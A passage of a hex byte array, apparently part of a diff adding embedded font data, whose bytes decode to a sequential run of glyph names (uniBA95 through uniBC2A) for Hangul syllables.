0x34, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x39, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x39, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x39, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x39, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x39, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x39, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x39, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x39, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x39, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x39, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x39, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x41, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x41, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x41, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x41, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x41, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x41, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x41, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x41, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x41, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x41, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x41, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x41, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x41, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x41, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x41, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x41, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x42, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x42, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x42, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x42, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x42, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x42, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x42, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x42, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x42, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x42, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x42, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x42, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x42, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x42, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x42, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x42, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x43, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x43, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x43, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x43, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x43, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x43, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x43, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x43, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x43, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x43, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x43, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x43, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x43, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x43, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x43, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x43, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x44, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x44, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x44, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x44, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x44, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x44, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x44, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x44, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x44, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x44, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x44, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x44, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x44, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x44, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x44, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x44, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x45, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x45, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x45, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x45, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x45, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x45, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x45, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x45, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x45, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x45, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x45, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x45, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x45, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x45, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x45, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x45, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x46, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x46, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x46, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x46, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x46, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x46, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x46, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x46, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x41, 0x46, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x41, 0x46, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x41, 0x46, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x41, 0x46, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x41, + 0x46, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x46, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x41, 0x46, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x41, 0x46, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x30, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x30, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x30, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x30, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x30, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x30, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x30, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x30, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x30, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x30, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x30, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x30, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x30, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x30, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x30, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x30, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x31, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x31, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x31, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x31, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x31, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x31, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x31, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x31, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x31, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x31, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x31, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x31, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x31, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x31, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x31, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x31, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x32, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x32, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x32, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x32, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x32, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x32, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x32, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x32, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x32, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x32, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x32, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x32, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x32, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x32, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x32, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x32, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x33, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x33, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x33, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x33, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x33, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x33, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x33, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x33, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x33, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x33, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x33, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x33, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x33, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x33, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x33, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x33, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x34, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x34, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x34, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x34, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x34, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x34, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x34, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x34, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x34, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x34, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x34, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x34, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x34, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x34, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x34, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x34, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x35, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x35, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x35, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x35, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x35, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x35, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x35, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x35, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x35, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x35, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x35, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x35, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x35, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x35, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x35, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x35, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x36, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x36, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x36, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x36, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x36, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x36, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x36, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x36, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x36, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x36, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x36, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x36, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x36, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x36, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x36, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x36, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x37, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x37, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x37, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x37, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x37, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x37, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x37, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x37, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x37, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x37, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x37, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x37, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x37, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x37, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x37, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x37, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x38, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x38, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x38, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x38, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x38, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x38, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x38, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x38, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x38, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x38, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x38, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x38, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x38, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x38, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x38, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x38, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x39, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x39, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x39, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x39, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x39, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x39, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x39, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x39, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x39, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x39, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x39, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x39, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x39, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x39, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x39, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x39, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x41, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x41, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x41, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x41, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x41, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x41, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x41, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x41, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x41, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x41, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x41, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x41, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x41, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x41, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x41, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x41, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x42, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x42, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x42, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x42, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x42, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x42, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x42, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x42, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x42, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x42, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x42, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x42, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x42, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x42, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x42, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x42, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x43, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x43, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x43, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x43, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x43, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x43, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x43, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x43, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x43, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x43, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x43, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x43, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x43, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x43, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x43, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x43, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x44, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x44, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x44, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x44, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x44, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x44, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x44, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x44, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x44, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x44, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x44, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x44, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x44, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x44, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x44, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x44, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x45, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x45, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x45, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x45, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x45, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x45, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x45, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x45, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x45, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x45, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x45, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x45, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x45, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x45, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x45, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x45, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x46, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x46, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x46, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x46, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x46, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x46, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x46, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x46, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x42, 0x46, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x42, 0x46, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x42, 0x46, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x42, 0x46, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x42, + 0x46, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x46, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x42, 0x46, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x42, 0x46, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x43, 0x30, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x43, 0x30, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x43, 0x30, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x43, 0x30, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x43, + 0x30, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x43, 0x30, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x43, 0x30, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x43, 0x30, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x43, 0x30, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x43, 0x30, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x43, 0x30, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x43, 0x30, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x43, + 0x30, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x43, 0x30, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x43, 0x30, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x43, 0x30, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x43, 0x31, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x43, 0x31, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x43, 0x31, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x43, 0x31, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x43, + 0x31, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x43, 0x31, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x43, 0x31, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x43, 0x31, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x43, 0x31, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x43, 0x31, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x43, 0x31, 0x41, 0x75, 0x6E, 0x69, 0x42, + 0x43, 0x31, 0x42, 0x75, 0x6E, 0x69, 0x42, 0x43, + 0x31, 0x43, 0x75, 0x6E, 0x69, 0x42, 0x43, 0x31, + 0x44, 0x75, 0x6E, 0x69, 0x42, 0x43, 0x31, 0x45, + 0x75, 0x6E, 0x69, 0x42, 0x43, 0x31, 0x46, 0x75, + 0x6E, 0x69, 0x42, 0x43, 0x32, 0x30, 0x75, 0x6E, + 0x69, 0x42, 0x43, 0x32, 0x31, 0x75, 0x6E, 0x69, + 0x42, 0x43, 0x32, 0x32, 0x75, 0x6E, 0x69, 0x42, + 0x43, 0x32, 0x33, 0x75, 0x6E, 0x69, 0x42, 0x43, + 0x32, 0x34, 0x75, 0x6E, 0x69, 0x42, 0x43, 0x32, + 0x35, 0x75, 0x6E, 0x69, 0x42, 0x43, 0x32, 0x36, + 0x75, 0x6E, 0x69, 0x42, 0x43, 0x32, 0x37, 0x75, + 0x6E, 0x69, 0x42, 0x43, 0x32, 0x38, 0x75, 0x6E, + 0x69, 0x42, 0x43, 0x32, 0x39, 0x75, 0x6E, 0x69, + 0x42, 0x43, 0x32, 0x41, 0x75, 0x6E, 0x69, 0x42, + 